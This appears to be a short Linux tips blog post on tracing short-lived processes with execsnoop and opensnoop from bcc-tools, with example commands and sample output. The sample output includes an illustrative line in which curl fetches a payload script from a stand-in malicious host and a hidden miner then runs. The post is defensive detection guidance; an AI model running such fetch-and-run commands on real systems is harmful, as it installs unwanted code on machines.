Linux Tips

Linux Process Monitoring: Catch Hidden Processes in Real Time

- by John Britto - Leave a Comment - 1 min read
Quick Linux Tip #98:

Question: Something keeps starting a process on my server. How do I catch it?

Try: sudo execsnoop-bpfcc

Info: execsnoop uses eBPF to trace exec() system calls in real-time, catching ephemeral or short-lived processes that standard monitoring tools (top/ps) miss.

Examples:

  • $ sudo execsnoop-bpfcc -t  # Include timestamps for process launches
  • $ sudo execsnoop-bpfcc -n curl  # Filter executions strictly matching 'curl'
  • $ sudo opensnoop-bpfcc  # Trace all file open() syscalls system-wide

Note: Install via sudo apt install bpfcc-tools or bcc-tools. Displays parent PIDs (PPID) and full argument vectors, making it ideal for pinpointing rogue cron jobs or unauthorized scripts.




LinuxTeck.com 
linuxteck:~$ sudo execsnoop-bpfcc
PCOMM           PID    PPID   RET ARGS
sshd            4523   1245     0 /usr/sbin/sshd -D -R
bash            4567   4523     0 /bin/bash
ps              4612   4567     0 /usr/bin/ps -ef
curl            4678      1     0 /usr/bin/curl -s http://malicious.example.com/payload.sh
sh              4723   4678     0 /bin/sh -c /tmp/.hidden/miner
cron            4789   1023     0 /usr/sbin/cron
backup.sh       4823      1     0 /opt/scripts/backup.sh
tar             4867   4823     0 /usr/bin/tar -czf /backup/data.tar.gz /home
linuxteck:~$

PREVIOUS ARTICLE Quick Linux Tip #97: Linux Shared Library Dependencies: Fix Missing Libraries NEXT ARTICLE Quick Linux Tip #99: Linux Incremental Backup: Create Backups with tar
About John Britto

John Britto Founder & Chief-Editor @LinuxTeck. A Computer Geek and Linux Intellectual having more than 20+ years of experience in Linux and Open Source technologies.

View all posts by John Britto →

Leave a Reply

Your email address will not be published.